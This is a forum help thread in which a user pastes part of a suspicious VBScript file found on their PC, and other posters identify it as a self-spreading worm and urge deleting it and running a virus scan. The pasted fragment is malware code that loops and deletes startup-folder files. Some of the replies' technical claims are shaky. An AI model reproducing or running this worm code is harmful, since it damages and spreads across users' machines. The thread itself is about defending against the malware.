I was prompted at boot up to specify what program to open these 2 files up with and I think they are some kind of virus. Here are the contents of the files

1. "_1.vbs"

set t=wscript.createobject("wscript.network")
set f=createobject("scripting.filesystemobject")
on error resume next
randomize
do
do while w=0
if (f.fileexists("c:\network.vbs")) then f.deletefile("c:\network.vbs")
if (f.fileexists("c:\windows\startm~1\programs\startup\network.vbs")) then f.deletefile("c:\windows\startm~1\programs\startup\network.vbs")
if (f.fileexists("c:\windows\startm~1\programs\startup\network.exe")) then f.deletefile("c:\windows\startm~1\programs\startup\network.exe")
if (f.fileexists("c:\windows\startm~1\programs\startup\mscfg.exe")) then f.deletefile("c:\windows\startm~1\programs\startup\mscfg.exe")
if (f.fileexists("c:\windows\startm~1\programs\startup\mscfg.vbs")) then f.deletefile("c:\windows\startm~1\programs\startup\mscfg.vbs")

I normally hide my butt behind my SMC Barricade, but I hung my a$$ out to play some Deer Hunter 4 online for a couple of days
Can any one shed some light on this for me? Thanks.

Well,

From reading the file, it's clear it IS a visual basic script virus!! Don't execute it if you have not already! It would delete many many important files instantly!

I would just delete them immediately! It opens up using Visual Basic and/or it's associated runtime library! You may not have it installed which may be why it has not been run yet!!:(

Get rid of them and virus scan ASAP bud!!

Looking closer, I see it will copy itself to any network drives u r connected to and continue on there!!

I don't think they have executed yet and I moved them to the recycle bin. My other computer that I have networked to this one hasn't been on for a couple of days either.

Dont just delete it, run a Virus checker too if you have one installed.

If not - why not? :)
